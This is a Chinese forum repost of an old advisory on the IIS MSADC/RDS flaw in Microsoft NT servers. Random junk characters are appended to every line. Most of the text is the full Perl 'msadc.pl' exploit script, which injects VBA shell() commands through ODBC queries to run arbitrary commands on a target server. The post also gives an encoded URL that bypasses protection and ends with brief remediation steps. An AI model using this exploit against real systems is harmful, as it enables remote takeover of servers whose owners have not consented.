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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ||hy+f[A  
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涉及程序: N%6jZmKip  
Microsoft NT server @I}:HiF  
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描述: DU$]e1  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 3?Y%|ZVM  
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详细: xr!FDfM.K  
如果你没有时间读详细内容的话,就删除: isHa4 D0  
c:\Program Files\Common Files\System\Msadc\msadcs.dll /MTS>[E  
有关的安全问题就没有了。 xXH%7%W'f  
z_!P0`  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 s2g}IZfo  
y% uUA]c*m  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 JI )+  
关于利用ODBC远程漏洞的描述,请参看: 2j-|.l c  
U/,`xA;v>  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm S+|aCRS  
eJE?H]  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 EiI3$y3;  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ItQIM#  
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这里不再论述。 X1:|   
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: r$;DA<<|<c  
\%&QIe;:k  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset FOB9CsMe  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ?)Z~H,Q(z  
Slq=;TDp  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" N_$ X4.7p  
HYLU]9aH8  
#!perl Ee9u7TFT  
# h(d<':|  
# MSADC/RDS 'usage' (aka exploit) script >2Al+m<w  
# 8_U*_I7(  
# by rain.forest.puppy LH]nJdq?)  
# #$K\:V+ 4  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me `*9W{|~Gwx  
# beta test and find errors! S#!PDg  
-#3B>VY  
use Socket; use Getopt::Std; ub}t3#  
getopts("e:vd:h:XR", \%args); 9g J`H'  
PAH; +  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; /4w&! $M-  
r&0v,WSp&S  
if (!defined $args{h} && !defined $args{R}) { $tj[ *  
print qq~ cliP+#  
Usage: msadc.pl -h <host> { -d <delay> -X -v } =B*,S#r  
-h <host> = host you want to scan (ip or domain) n0O- Bxhl  
-d <seconds> = delay between calls, default 1 second FlD !?  
-X = dump Index Server path table, if available zjM+F{P8  
-v = verbose -78 t0-lM  
-e = external dictionary file for step 5 65=i`!f  
Z?G-~3]e  
Or a -R will resume a command session <bXfjj6YJ@  
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~; exit;} uV52ko,  
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; `t {aN|3V[  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 0>Z/3i&?<  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 9w}A7('  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); $?(fiFC  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} j?g{*M  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 9FX'Uws  
5=., a5  
if (!defined $args{R}){ $ret = &has_msadc; fJd!;ur)0  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} G7M:LcX  
L 2Os\  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" n_v|fxF1  
. "cmd /c "; r_-iOxt~5  
$in=<STDIN>; chomp $in; U"aFi  
$command="cmd /c " . $in ; x>!#8?-h  
+[V?3Gdb  
if (defined $args{R}) {&load; exit;} }PK8[N  
*'QD!Tc  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; PE]jYyyHtU  
&try_btcustmr; G3OqRH  
]{0 2!  
print "\nStep 2: Trying to make our own DSN..."; X@\rg}kP  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; )C<c{mjk(  
L@ql)Lc);  
print "\nStep 3: Trying known DSNs..."; *t 3fbD  
&known_dsn; c9=;:E  
I yL2{5  
print "\nStep 4: Trying known .mdbs..."; [L{q  
&known_mdb; :jT1=PfL  
bEMD2ABm  
if (defined $args{e}){ <FRYt-+  
print "\nStep 5: Trying dictionary of DSN names..."; ^^{K[sLB  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } z$QYl*F1  
ss-{l+Z5  
print "Sorry Charley...maybe next time?\n"; Zyu4!  
exit; ';^VdR]fk  
HKP<=<8/O  
############################################################################## \{\*h/m  
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sub sendraw { # ripped and modded from whisker jri=UGf  
sleep($delay); # it's a DoS on the server! At least on mine... MQG(n+c  
my ($pstr)=@_; dli?/U@hO  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || JpcG5gX^B  
die("Socket problems\n"); P bj&l0C  
if(connect(S,pack "SnA4x8",2,80,$target)){ 2>Xgo%  
select(S); $|=1; ^|5vmI'E  
print $pstr; my @in=<S>; Z]@my,+Z;  
select(STDOUT); close(S); MXh0a@*]  
return @in; `%ZM(9T  
} else { die("Can't connect...\n"); }} `k+ci7;  
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############################################################################## FMc$?mm  
Tv_KdOv8  
sub make_header { # make the HTTP request h#dp_#  
my $msadc=<<EOT 7v]>ID  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1  TTZb.  
User-Agent: ACTIVEDATA ]u?|3y^ (  
Host: $ip 9{RCh 9  
Content-Length: $clen &xo_93  
Connection: Keep-Alive *39Y1+=)$$  
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ADCClientVersion:01.06 s!:'3[7+  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 dY5 m) ?  
Q bjO*:c4  
--!ADM!ROX!YOUR!WORLD! I<L  
Content-Type: application/x-varg P(a!I{A(  
Content-Length: $reqlen 1YV ;pEw3w  
3q:U0&F  
EOT  ?12[8   
; $msadc=~s/\n/\r\n/g; >r1cW7  
return $msadc;} : E[\1  
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############################################################################## Y&!-VW  
Y)H~*-vGu  
sub make_req { # make the RDS request $ @g\wz  
my ($switch, $p1, $p2)=@_; \NU^Jc_k7  
my $req=""; my $t1, $t2, $query, $dsn; JN)@bP  
o9\J vJk  
if ($switch==1){ # this is the btcustmr.mdb query O$z XDxn  
$query="Select * from Customers where City=" . make_shell(); VUnO&zV{  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . C$WUg<kcK'  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ;}1O\nngR  
e}>3<Dh  
elsif ($switch==2){ # this is general make table query 3N c#6VI  
$query="create table AZZ (B int, C varchar(10))"; CoZOKRoaH  
$dsn="$p1";} f$1&)1W[  
+lC?Vpi^  
elsif ($switch==3){ # this is general exploit table query " b3-'/ &  
$query="select * from AZZ where C=" . make_shell(); e_=TkG1E6  
$dsn="$p1";} c(Ws3  
L7\V^f%yCm  
elsif ($switch==4){ # attempt to hork file info from index server D[/h7Ha  
$query="select path from scope()"; $ /`X7a{  
$dsn="Provider=MSIDXS;";} W%@r   
*I]/ [d  
elsif ($switch==5){ # bad query CCDU5l$$  
$query="select"; ['m7Wry  
$dsn="$p1";} | KtI:n4d  
f[}(E  
$t1= make_unicode($query); .>#X*u  
$t2= make_unicode($dsn); Sf*1Z~P|  
$req = "\x02\x00\x03\x00"; q"(b}3  
$req.= "\x08\x00" . pack ("S1", length($t1)); 6mV-+CnYC  
$req.= "\x00\x00" . $t1 ; BSH2Kq  
$req.= "\x08\x00" . pack ("S1", length($t2)); }TQa<;Q  
$req.= "\x00\x00" . $t2 ; z@I'Ryalyc  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; PH.g+u=v  
return $req;} e dTFk$0  
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############################################################################## OEw#;l4 C  
JAx0(MZO  
sub make_shell { # this makes the shell() statement 8Sxk[`qx\K  
return "'|shell(\"$command\")|'";} E)%D LZ  
ZJe^MnE (G  
############################################################################## }7*|s+F(f  
GXaPfC0-y  
sub make_unicode { # quick little function to convert to unicode j*\oK@  
my ($in)=@_; my $out; iC{(vL0P+  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 5Q;Q  
return $out;} fUMjLA|*I<  
n:|a;/{I]9  
############################################################################## v%rmfIU  
FI,K 0sO/|  
sub rdo_success { # checks for RDO return success (this is kludge) %oB0@&!mS  
my (@in) = @_; my $base=content_start(@in); "1$X5?%  
if($in[$base]=~/multipart\/mixed/){ !RP0W  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} kXV;J$1  
return 0;} !YPwql(  
U&i#cF   
############################################################################## V0NLwl O  
yg.o?eML  
sub make_dsn { # this makes a DSN for us $K.DLqDt  
my @drives=("c","d","e","f"); 6f2?)jOW^N  
print "\nMaking DSN: "; &gJ1*"$9  
foreach $drive (@drives) { %~I&T". iC  
print "$drive: "; B}S+/V` Y5  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . {#st>%i  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" mPU}]1*p  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); qfG:v Tm  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; [>N#61CV 5  
return 0 if $2 eq "404"; # not found/doesn't exist :zX^H9'E<(  
if($2 eq "200") { tnAj3wc  
foreach $line (@results) { wmww7  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Td ade+  
} return 0;} )RN3Oz@H  
t{g@z3  
############################################################################## BTD_j&+(  
_CPj] m{  
sub verify_exists { ber&!9  
my ($page)=@_; [(2^oTSRaq  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 43E)ltR=]  
return $results[0];} Z^]jy>dj  
RP$h;0EQG  
############################################################################## (a0(ZOKH  
>|, <9z`D  
sub try_btcustmr { +.&P$`;TZj  
my @drives=("c","d","e","f"); 'Kk/ J+6U  
my @dirs=("winnt","winnt35","winnt351","win","windows"); yUWc8]9\W  
"f8,9@  
foreach $dir (@dirs) { KTt+}-vP^  
print "$dir -> "; # fun status so you can see progress 3b\s;!  
foreach $drive (@drives) { YO-B|f  
print "$drive: "; # ditto w+"E{#N  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; $ K+| bb  
$reqlenlen=length( "$reqlen" ); |||m5(`S  
$clen= 206 + $reqlenlen + $reqlen; w,X)g{^T  
7TEpjSuF  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); |$6Ten[B#  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} qtdkK LT  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} DLP@?]BBOA  
K\KQ(N8F  
############################################################################## O:8 u^ TP  
G62;p#  
sub odbc_error { g)\Tex<  
my (@in)=@_; my $base; 6\u. [2lE^  
my $base = content_start(@in); :!l.ze{F  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 1) K<x  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [u;(4sa}  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; y9?*H?f,  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jygUf|  
return $in[$base+4].$in[$base+5].$in[$base+6];} G~DHNO6  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9od c :  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . \BH?GMoP  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} :%33m'EV}  
4[#)p}V  
############################################################################## ZQym8iV/  
s0]ZE\`H>  
sub verbose { wl%ysM| x  
my ($in)=@_; n $N M  
return if !$verbose; V~#5^PF{  
print STDOUT "\n$in\n";} :CezkD&  
+zbCYA  
############################################################################## 9{U@s  
@`+\v mfD  
sub save { J zFR9DEt  
my ($p1, $p2, $p3, $p4)=@_; _VjaTw8iM  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; }"nm3\Df  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; KPDJ$,:  
close OUT;} ]mi\Y"RO  
%).I &)i  
############################################################################## H"A@Q.'  
o3\^9-jmp  
sub load { = 03G~7B>  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 8@+<W%+th  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 901 5PEO  
@p=<IN>; close(IN); !-n* ]C  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); %-fS:~$  
$target= inet_aton($ip) || die("inet_aton problems"); `Ix`/k}  
print "Resuming to $ip ..."; )g?jHm-p\  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; BMQ4i&kF|  
if($p[1]==1) { !gV{[j?~zr  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; OGLA1}k4  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; A'uaR?  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Z_dL@\#|  
if (rdo_success(@results)){print "Success!\n";} %"oGJp  
else { print "failed\n"; verbose(odbc_error(@results));}} ZU0*iA  
elsif ($p[1]==3){ T`j {2  
if(run_query("$p[3]")){ pO fw *lD  
print "Success!\n";} else { print "failed\n"; }} u\iKdL  
elsif ($p[1]==4){ Av yer/{  
if(run_query($drvst . "$p[3]")){ RrH{Y0  
print "Success!\n"; } else { print "failed\n"; }} !mWm@ }Ujg  
exit;} _qk&W_u  
;5$ GJu(  
############################################################################## w(Tr ,BFF  
? p[Rv  
sub create_table { a(|0 '^  
my ($in)=@_; FIAmAZH}_  
$reqlen=length( make_req(2,$in,"") ) - 28; 8 l= EL7  
$reqlenlen=length( "$reqlen" ); K?e16;   
$clen= 206 + $reqlenlen + $reqlen; -G?IXgG  
my @results=sendraw(make_header() . make_req(2,$in,"")); 1ljcbD)T;  
return 1 if rdo_success(@results); )+Z.J]$O-  
my $temp= odbc_error(@results); verbose($temp); ;.xKVH/@  
return 1 if $temp=~/Table 'AZZ' already exists/; 5kWzD'!^  
return 0;} 0|K<$e6IH  
`'P&={p8  
############################################################################## }X=c|]6i^  
Sfc,F8$&N  
sub known_dsn { i4WHjeo\  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go nQ|($V1?W  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", (E,[Ad,$  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Y=_*Ai  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); l O*  
EB}~^ aY  
foreach $dSn (@dsns) {   < /5  
print "."; m :~y:.  
next if (!is_access("DSN=$dSn")); .q:6F*,1M  
if(create_table("DSN=$dSn")){ MT)q?NcG  
print "$dSn successful\n"; J{kS4v*J  
if(run_query("DSN=$dSn")){ #h9Gl@|  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { vF~q".imC  
print "Something's borked. Use verbose next time\n";}}} print "\n";} P|lDW|}D@  
#j+cl'  
############################################################################## rK}sQ4z=  
u#y)+A2&!  
sub is_access { qe e_wx  
my ($in)=@_; #cW :04  
$reqlen=length( make_req(5,$in,"") ) - 28; 9AQ,@xP|  
$reqlenlen=length( "$reqlen" ); #4"eQ*.*"  
$clen= 206 + $reqlenlen + $reqlen; Uugq.'>  
my @results=sendraw(make_header() . make_req(5,$in,"")); UmMu|`  
my $temp= odbc_error(@results); <s|.2~  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); N'l2$8  
return 0;} <}c7E3Uc  
PQYJn x}  
############################################################################## tu{paQ  
rFm?Bu  
sub run_query { @8aV*zjB  
my ($in)=@_; z?kE((Ey  
$reqlen=length( make_req(3,$in,"") ) - 28; W >}T$a}\  
$reqlenlen=length( "$reqlen" ); d1t_o2  
$clen= 206 + $reqlenlen + $reqlen; K)[\IJJM  
my @results=sendraw(make_header() . make_req(3,$in,"")); &t_TLV 8T  
return 1 if rdo_success(@results); Vu4LC&q  
my $temp= odbc_error(@results); verbose($temp); )$a6l8  
return 0;} :=!6w  
u WdKG({][  
############################################################################## ,VUOsNN4\  
usoyH0t!?  
sub known_mdb { xdaq` ^Bbt  
my @drives=("c","d","e","f","g"); z^4+U n  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 1~2+w]-kU  
my $dir, $drive, $mdb; k$#1T +(G  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; >){}nlQf  
M)wNu  
# this is sparse, because I don't know of many r9b(d]  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 8NE[L#k  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", UMFM.GI  
"\\system32\\certmdb.mdb", 0HbCT3g.  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% I*a .!/$)  
\)aFYDq#\  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", *J': U>p  
"\\cfusion\\cfapps\\forums\\forums_.mdb", !mwMSkkq  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", |m*l/@1  
"\\cfusion\\cfapps\\security\\realm_.mdb", w_~tY*IwB  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", %X%f0J  
"\\cfusion\\database\\cfexamples.mdb", @ IDY7x27  
"\\cfusion\\database\\cfsnippets.mdb", pV 8U`T  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", "Z&_*F.[O  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", opzlh@R 3  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ]ERAt^$0  
"\\cfusion\\database\\smpolicy.mdb", 3Y +;8ld  
"\\cfusion\\database\cypress.mdb", GlJOb|WOX  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 5*90t{#  
"\\website\\cgi-win\\dbsample.mdb",  zNn  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", [L|vBr  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" .;,,{ ;  
); #these are just AxO.adQE%  
foreach $drive (@drives) { :zO;E+s  
foreach $dir (@dirs){  : ?Z9  
foreach $mdb (@sysmdbs) { Ex L7 ]3r  
print ".";  3(*vZ  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 8QI+O`  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; *`Ge8?qC  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ fNyXDCl  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ICG:4n(,  
} else { print "Something's borked. Use verbose next time\n"; }}}}} x%W~@_  
{aopGu?i  
foreach $drive (@drives) { .~^A!t  
foreach $mdb (@mdbs) { w-@6qMJ  
print "."; /P/0\3TCi  
if(create_table($drv . $drive . $dir . $mdb)){ /:,}hy+U  
print "\n" . $drive . $dir . $mdb . " successful\n"; bpDlFa  
if(run_query($drv . $drive . $dir . $mdb)){ 1n.F`%YG  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Vy=+G~  
} else { print "Something's borked. Use verbose next time\n"; }}}} `:0Auw9h  
} ys7 Tq+  
<0Gk:NB,  
############################################################################## e%7#e%1s  
VjeF3pmBa  
sub hork_idx { T=g2gmo9  
print "\nAttempting to dump Index Server tables...\n"; i0?/\@gd  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; <Y;w I#C  
$reqlen=length( make_req(4,"","") ) - 28; H5jk#^FD  
$reqlenlen=length( "$reqlen" ); z\WyL;  
$clen= 206 + $reqlenlen + $reqlen; .^ba*qb`{  
my @results=sendraw2(make_header() . make_req(4,"","")); fP\*5|7%R  
if (rdo_success(@results)){ _vAc/_ N  
my $max=@results; my $c; my %d; 2';{o=TXV  
for($c=19; $c<$max; $c++){ PT4iy<  
$results[$c]=~s/\x00//g; 4P7r\ hs  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; JM*!(\Y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; * COC&  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; }+)q/]%  
$d{"$1$2"}="";} R|*Eg,1g -  
foreach $c (keys %d){ print "$c\n"; } w,<n5dMv  
} else {print "Index server doesn't seem to be installed.\n"; }} 6r h#ATep  
[mG!-.ll  
############################################################################## F$YT4414  
!bn=b>+  
sub dsn_dict { ' Yy+^iCus  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ))7CqN  
while(<IN>){ z6Nz)$!_i  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; .W\x{h  
next if (!is_access("DSN=$dSn")); Dh68=F0  
if(create_table("DSN=$dSn")){ yy`XtJBWWs  
print "$dSn successful\n"; >YcaFnY  
if(run_query("DSN=$dSn")){ m:9|5W  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { xd+aO=)Td  
print "Something's borked. Use verbose next time\n";}}} /%b nG(4  
print "\n"; close(IN);} Vf$$e)  
PJ<9T3Fa  
############################################################################## kJCeQK:W  
v&sl_w/tn  
sub sendraw2 { # ripped and modded from whisker M'pIAm1p  
sleep($delay); # it's a DoS on the server! At least on mine... @yF >=5z:  
my ($pstr)=@_; nXERj; Q"  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 'oUTY *  
die("Socket problems\n"); mA^3?y j  
if(connect(S,pack "SnA4x8",2,80,$target)){ v]T?xo~@'  
print "Connected. Getting data"; <s$Jj><  
open(OUT,">raw.out"); my @in; zd{sw}  
select(S); $|=1; print $pstr; 6;(b-Dhi  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Z=]ujlD  
close(OUT); select(STDOUT); close(S); return @in; *aGJ$ P0  
} else { die("Can't connect...\n"); }} @S6@pMo,  
;s+3 #Py  
############################################################################## *] !r T&E  
g@Rs.Zq  
sub content_start { # this will take in the server headers 35:RsL  
my (@in)=@_; my $c; 59~mr:*sF  
for ($c=1;$c<500;$c++) { HmHM#~5(`  
if($in[$c] =~/^\x0d\x0a/){ VLoRS)   
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ?6h~P:n.  
else { return $c+1; }}} #+$ PD`j  
return -1;} # it should never get here actually v@{VQVx  
imB/P M  
############################################################################## ? ?("0U  
86a,J3C[  
sub funky { l8e)|MSh  
my (@in)=@_; my $error=odbc_error(@in); o'8%5 M@  
if($error=~/ADO could not find the specified provider/){ ]@}o"Td  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ^oNcZK>  
exit;} 3ug~m-_  
if($error=~/A Handler is required/){ N0N%~3  
print "\nServer has custom handler filters (they most likely are patched)\n"; '}-QZ$|*  
exit;} ,bP8"|e  
if($error=~/specified Handler has denied Access/){ +RnWeBXAT  
print "\nServer has custom handler filters (they most likely are patched)\n"; e*d lGK3l  
exit;}} LLbI}:  
!_W']Crb]]  
############################################################################## C 'S_M@I=  
}vg|05L  
sub has_msadc { XXeDOrb  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); MM( ,D& Z  
my $base=content_start(@results); x'SIHV4M@Q  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); >ul&x!?@  
return 0;} Q5_,`r`  
8?|W-rN  
######################## 9fO E .  
KIKIag#  
%/ :&L+q  
解决方案: a)7&2J  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll jHObWUX  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 > :0N)Pj  
Wu l8ej:  
拿出来充数 哈哈
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